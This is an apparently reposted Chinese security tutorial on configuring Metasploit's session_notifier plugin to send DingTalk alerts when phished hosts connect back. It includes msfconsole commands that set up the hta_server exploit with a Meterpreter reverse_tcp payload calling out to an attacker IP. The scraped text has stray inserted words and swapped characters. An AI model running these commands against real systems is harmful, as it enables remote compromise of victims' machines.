Metasploit主机上线钉钉通知

声明： 该公众号大部分文章来自做者平常学习笔记，也有少部分文章是通过原做者受权和其余公众号白名单转载，未经受权，严禁转载，如需转载，联系开白。

请勿利用文章内的相关技术从事非法测试，如所以产生的一切不良后果与文章做者和本公众号无关。

全部话题标签：#Web安全 #漏洞复现 #工具使用 #权限提高#权限维持 #防御绕过 #内网安全 #实战案例 #其余笔记 #资源分享 #MSFjavascript

0x01 前言java

咱们在进行钓鱼攻击或被动提权时可能须要在MSF长期监听某个端口，等待管理员执行上线，但又不可能随时都盯着监听界面，这样就不能及时得知是否有新主机上线，是否是很不方便呢？

最近在metasploit-framework项目中看到安恒 @三米前有蕉皮老哥提交的“钉钉通知”拉取请求，现已被rapid7合并到了session_notifier会话通知插件中。

https://github.com/rapid7/metasploit-framework/pull/13571git

0x01 钉钉机器人webhook配置github

咱们先在钉钉官网下载Windows客户端并注册一个用户进行登陆，而后发起一个群组并在群设置中的智能群助手里添加一个自定义机器人。

机器人的名称能够随便取，在安全设置中添加一个自定义关键字“session”，这是一个不能修改的固定值。

0x02 session_notifier插件配置web

msfconole命令进入MSF后先用load加载session_notifier插件，将set_session_dingtalk_webhook设置为咱们钉钉机器人中的Webhook，而后用start_session_notifier命令开启会话通知便可。

root@:kali~# msfconsole -qmsf6 > load session_notifiermsf6 > set_session_dingtalk_webhook https://oapi.dingtalk.com/robot/send?access_token=msf6 > start_session_notifier

SessionNotifier Commands：

restart_session_notifier //从新启动会话通知save_session_notifier_settings //将全部会话通知设置保存到框架set_session_dingtalk_webhook //设置DingTalk会话通知(关键字: session)set_session_maximum_ip //设置会话通知最大IP范围set_session_minimum_ip //设置会话通知最小IP范围set_session_mobile_carrier //设置手机的移动运营商set_session_mobile_number //设置您要通知的10位手机号码set_session_smtp_address //设置会话通知SMTP地址set_session_smtp_from //设置SMTP发件人set_session_smtp_password //设置SMTP密码set_session_smtp_port //设置会话通知SMTP端口set_session_smtp_username //设置SMTP用户名start_session_notifier //开始会话通知stop_session_notifier //中止会话通知

随便设置了一个hta_server监听模块来测试一下看是否可以实时收到新上线主机的通知。
windows

msf6 > use exploit/windows/misc/hta_server msf6 exploit(windows/misc/hta_server) > set target 1msf6 exploit(windows/misc/hta_server) > set payload windows/x64/meterpreter/reverse_tcpmsf6 exploit(windows/misc/hta_server) > set lhost 39.**.*.238msf6 exploit(windows/misc/hta_server) > set lport 443msf6 exploit(windows/misc/hta_server) > exploit

这里咱们能够看到钉钉群组里已经成功的收到了机器人发送过来的新上线主机通知信息！！！api

禁止非法，后果自负安全

欢迎关注公众号：web安全工具库微信

本文分享自微信公众号 - web安全工具库（websec-tools）。
若有侵权，请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”，欢迎正在阅读的你也加入，一块儿分享。session